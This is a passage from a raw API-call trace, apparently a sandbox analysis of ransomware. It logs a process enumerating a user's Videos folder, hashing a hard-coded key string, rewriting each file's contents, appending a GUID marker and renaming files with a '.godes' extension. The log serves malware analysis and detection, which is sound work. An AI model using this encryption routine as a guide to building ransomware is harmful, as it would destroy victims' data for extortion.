hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=66982) returned 1 [0113.612] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.614] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10580, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.614] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.615] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.615] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.615] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.615] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x105a6, lpOverlapped=0x0) returned 1 [0113.616] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.616] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.616] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.616] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.616] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0113.617] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.617] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.617] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.617] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.617] GetLastError () returned 0x0 [0113.617] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.617] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0113.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.617] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x105b0) returned 0x3321120 [0113.618] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.618] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x105a1, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x105a1, lpOverlapped=0x0) returned 1 [0113.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.618] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x105a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.618] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.618] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.618] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.619] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.619] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.619] CloseHandle (hObject=0x624) returned 1 [0113.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740e28 [0113.619] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740e28 | out: hHeap=0x660000) returned 1 [0113.620] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\iLHPbBavnh_-fnnaZkXR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ilhpbbavnh_-fnnazkxr.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\iLHPbBavnh_-fnnaZkXR.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ilhpbbavnh_-fnnazkxr.flv.godes")) returned 1 [0113.620] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.620] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0113.621] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865890, ftCreationTime.dwHighDateTime=0x1d4ceaa, ftLastAccessTime.dwLowDateTime=0xfd555f60, ftLastAccessTime.dwHighDateTime=0x1d4d2f8, ftLastWriteTime.dwLowDateTime=0xfd555f60, ftLastWriteTime.dwHighDateTime=0x1d4d2f8, nFileSizeHigh=0x0, nFileSizeLow=0x12dac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wxzc0rq6VHwTta.swf", cAlternateFileName="WXZC0R~1.SWF")) returned 1 [0113.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.621] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.621] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.621] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wxzc0rq6VHwTta.swf") returned=".swf" [0113.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wxzc0rq6VHwTta.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\wxzc0rq6vhwtta.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.621] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=77228) returned 1 [0113.621] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.623] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12d86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.623] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.625] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.625] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.625] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.625] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x12dac, lpOverlapped=0x0) returned 1 [0113.626] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.626] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.626] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.626] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.626] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.626] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.627] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.627] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.627] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.627] GetLastError () returned 0x0 [0113.627] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.627] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.627] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12db0) returned 0x3321120 [0113.627] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.627] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.627] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x12da7, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x12da7, lpOverlapped=0x0) returned 1 [0113.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.628] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12dac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.628] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.628] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.628] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.628] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.628] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.628] CloseHandle (hObject=0x624) returned 1 [0113.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.629] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.629] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.629] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wxzc0rq6VHwTta.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\wxzc0rq6vhwtta.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\wxzc0rq6VHwTta.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\wxzc0rq6vhwtta.swf.godes")) returned 1 [0113.630] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.630] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.631] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a85350, ftCreationTime.dwHighDateTime=0x1d4ccbf, ftLastAccessTime.dwLowDateTime=0xbb4467b0, ftLastAccessTime.dwHighDateTime=0x1d4d1c2, ftLastWriteTime.dwLowDateTime=0xbb4467b0, ftLastWriteTime.dwHighDateTime=0x1d4d1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x4sMoy", cAlternateFileName="")) returned 1 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x310) returned 0x331ea60 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x3320270 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x3320340 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x3320680 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f480 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f408 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f390 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f318 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f750 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x33206e8 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740e28 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f7c8 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f840 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f8b8 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x3320750 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f930 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f9a8 [0113.631] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7410d0 [0113.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf468 | out: hHeap=0x660000) returned 1 [0113.631] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf538 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f138 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f228 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f1b0 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f570 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f5e8 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f660 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320618 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f6d8 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d5b8 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33202d8 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4f8 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d540 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32bd5d0 | out: hHeap=0x660000) returned 1 [0113.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x33202d8 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.632] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x310cebd0, ftCreationTime.dwHighDateTime=0x1d4c60a, ftLastAccessTime.dwLowDateTime=0xa481d0c0, ftLastAccessTime.dwHighDateTime=0x1d4cf3e, ftLastWriteTime.dwLowDateTime=0xa481d0c0, ftLastWriteTime.dwHighDateTime=0x1d4cf3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y9ZmZISZtA8fIYtTxfZp", cAlternateFileName="Y9ZMZI~1")) returned 1 [0113.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.632] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61a06350, ftCreationTime.dwHighDateTime=0x1d4d071, ftLastAccessTime.dwLowDateTime=0x305f47e0, ftLastAccessTime.dwHighDateTime=0x1d4cfe8, ftLastWriteTime.dwLowDateTime=0x305f47e0, ftLastWriteTime.dwHighDateTime=0x1d4cfe8, nFileSizeHigh=0x0, nFileSizeLow=0x16cbe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_6jk0hB.avi", cAlternateFileName="")) returned 1 [0113.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.632] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.632] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.632] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_6jk0hB.avi") returned=".avi" [0113.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_6jk0hB.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_6jk0hb.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.633] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=93374) returned 1 [0113.633] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.634] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16c98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.634] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.636] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.636] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.636] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x16cbe, lpOverlapped=0x0) returned 1 [0113.637] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.637] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.637] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.637] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.637] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.638] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.638] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.638] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.638] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.638] GetLastError () returned 0x0 [0113.638] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.638] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.638] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16cc0) returned 0x3321120 [0113.638] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.638] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.638] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x16cb9, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x16cb9, lpOverlapped=0x0) returned 1 [0113.639] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.639] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16cbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.639] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.639] 